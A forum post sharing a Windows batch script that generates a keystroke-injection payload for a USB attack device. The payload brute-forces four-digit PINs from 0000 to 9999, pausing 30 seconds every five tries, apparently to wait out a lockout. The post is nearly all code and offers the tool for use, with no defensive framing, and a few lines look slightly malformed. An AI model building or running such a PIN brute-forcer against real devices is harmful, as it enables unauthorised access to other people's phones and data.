Instead of using Linux terminal, I made a Batch script for this, it does the same thing,
Here is the code;
@echo off
setlocal
set NUM=0
set COUNT=0
echo REM Author: Siem>>input.txt
echo REM Idea taken from: Darren Kitchen
echo REM Description: Bruteforcer>>input.txt
echo DELAY 1000>>input.txt
echo.>>input.txt
echo ESC>>input.txt
echo DELAY 500>>input.txt
echo STRING 0000>>input.txt
echo DELAY 500>>input.txt
echo BACKSPACE>>input.txt
echo DELAY 500>>input.txt
echo BACKSPACE>>input.txt
echo DELAY 500>>input.txt
echo BACKSPACE>>input.txt
echo DELAY 500>>input.txt
echo BACKSPACE>>input.txt
echo.>>input.txt
:START
cls
IF %COUNT% EQU 5 (set COUNT=0 & call :WAIT)
IF %NUM% LEQ 9 (set ZERO=000)
IF %NUM% GTR 9 (set ZERO=00)
IF %NUM% GTR 99 (set ZERO=0)
IF %NUM% GTR 999 (set ZERO=%)
IF %NUM% EQU 9999 (pause & exit)
echo DELAY 500>>input.txt
echo STRING %ZERO%%NUM%>>input.txt
echo ENTER>>input.txt
echo %ZERO%%NUM%
set /a NUM=%NUM% + 1
set /a COUNT=%COUNT% +1
goto START
:WAIT
echo.>>input.txt
echo REM Wait 30 seconds>>input.txt
echo DELAY 30000>>input.txt
echo ESC>>input.txt
echo DELAY 500>>input.txt
echo STRING 0000>>input.txt
echo DELAY 500>>input.txt
echo BACKSPACE>>input.txt
echo DELAY 500>>input.txt
echo BACKSPACE>>input.txt
echo DELAY 500>>input.txt
echo BACKSPACE>>input.txt
echo DELAY 500>>input.txt
echo BACKSPACE>>input.txt
echo.>>input.txt
You can change the delay a bit, I am still testing it, but this echos 0000..9999 without using Linux.
~Siem